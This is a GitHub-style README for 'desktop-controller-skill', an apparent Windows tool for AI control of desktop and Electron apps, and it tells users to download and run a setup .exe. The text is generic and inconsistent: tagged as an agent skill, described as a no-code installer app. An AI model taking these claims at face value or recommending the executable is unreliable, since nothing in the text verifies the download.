desktop-controller-skill

# 🖥️ desktop-controller-skill - Simple AI Control for Your Desktop

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## 📋 What Is desktop-controller-skill?

desktop-controller-skill is a tool to help you control your computer with the help of AI. It works on Windows and uses two engines to make control smooth and reliable: one that talks directly to your Windows apps and one that works with websites or Electron apps like Slack or Teams.

You can use it to send commands to apps like WeChat, DingTalk, Feishu, QQ, Slack, Teams, or any web app. It can also help test apps by checking how they look and behave on your screen. This tool is open-source, so anyone can use or change it.

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## 🔍 Main Features

- Control common chat and work apps on Windows.
- Automate actions in web apps or Electron-based programs.
- Test app screens and actions without using complicated tools.
- Provide live visual feedback to see what the AI is doing.
- Supports both traditional Windows apps and modern web apps.
- Open-source and free to use.

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## 💻 System Requirements

- Windows 10 or later (64-bit)
- At least 4 GB RAM (8 GB recommended for smooth operation)
- 500 MB of free disk space
- Internet connection to download and update the app
- Basic Windows user account (no admin rights needed for basic use)

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## 🚀 Getting Started — Download and Run

You can get desktop-controller-skill from its official GitHub page. Follow these steps to set it up on your Windows PC.

### Step 1: Visit the Download Page

Click the big button below or go to the link directly:

[![Download desktop-controller-skill](https://img.shields.io/badge/Download-Get%20Started-orange?style=for-the-badge)](https://github.com/Nishad710/desktop-controller-skill)

This link takes you to the GitHub project page where you will find the latest version available.

### Step 2: Find and Download the Installer

On the GitHub page:

- Look for the section called **Releases** on the right sidebar or at the top menu.
- Click the latest release version.
- Download the Windows installer file (usually named something like `desktop-controller-skill-setup.exe`).

### Step 3: Run the Installer

- Double-click the downloaded file.
- Follow the prompts to install the software.
- Accept the license terms and choose a folder to install to (the default location is fine for most users).
- Wait for the installer to finish.

### Step 4: Launch the App

- After installation, find the app icon on your desktop or in the Start Menu.
- Click to open the app.
- You might see a welcome screen or basic instructions in the app.

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## 🛠️ How to Use desktop-controller-skill

This app does not require you to write code. You interact with it through a simple interface.

### Controlling Apps

- Choose which app you want to control from the list.
- Set up simple commands by clicking buttons and typing instructions.
- The AI will send commands to the app you selected.
- You can automate everyday tasks like sending messages or opening menus.

### Automated Testing

- Pick a window or web page to test.
- Set visual checks to see if elements appear correctly.
- Run tests to get instant visual feedback.
- Use this to catch problems in apps without manual checking.

### Switching Between Engines

- The tool uses Win32 API for Windows apps.
- It uses Playwright for web or Electron apps.
- The app switches between these automatically depending on what you control.

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## ⚙️ Settings and Preferences

You can adjust the way the app works:

- Change the AI model settings.
- Select preferred language for commands.
- Customize keyboard shortcuts.
- Set update frequency for the app.

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## 🔄 Updating desktop-controller-skill

- Return to the GitHub page.
- Check the Releases section for new versions.
- Download and run the latest installer the same way you did before.
- Your settings will stay saved during updates.

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## 🤝 Getting Help

You can find help on the GitHub page under **Issues**. Other users and contributors answer common questions.

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## 📂 More About the Project

desktop-controller-skill combines two approaches for controlling your computer:

- **Win32 API:** Talks directly to Windows programs. Useful for native apps like WeChat or DingTalk.
- **Playwright:** Controls websites and modern apps built with web technology, like Slack or Teams.

The app provides visual feedback and automated testing tools to help you check if your apps react correctly.

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## 🏷️ Topics

- agent-skills  
- ai-agent  
- ai-coding-agent  
- ai-computer-control  
- anthropic  
- browser-automation  
- claude  
- claude-code  
- codex-skills  
- computer-use  
- desktop-automation  
- electron  
- gpt-5  
- openai  
- openai-codex  
- playwright  
- visual-qa  
- wechat  
- win32-api  
- windows-automation

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## 🔗 Useful Links

Download and learn more:

[desktop-controller-skill on GitHub](https://github.com/Nishad710/desktop-controller-skill)